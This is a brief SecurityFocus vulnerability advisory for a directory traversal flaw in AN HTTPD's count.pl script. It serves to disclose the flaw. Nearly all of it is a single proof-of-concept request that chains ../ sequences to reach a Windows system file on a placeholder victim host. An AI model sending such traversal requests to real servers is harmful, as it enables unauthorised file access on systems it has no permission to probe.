AN HTTPD Count.pl Directory Traversal Vulnerability

There is no exploit code required. The following proof of concept HTTP request has been made available:

http://www.victim.com/isapi/count.pl??../../../../../../../../../../../../.
./../../../../../../../../../winnt/explorer.exe


 

Privacy Statement
Copyright 2010, SecurityFocus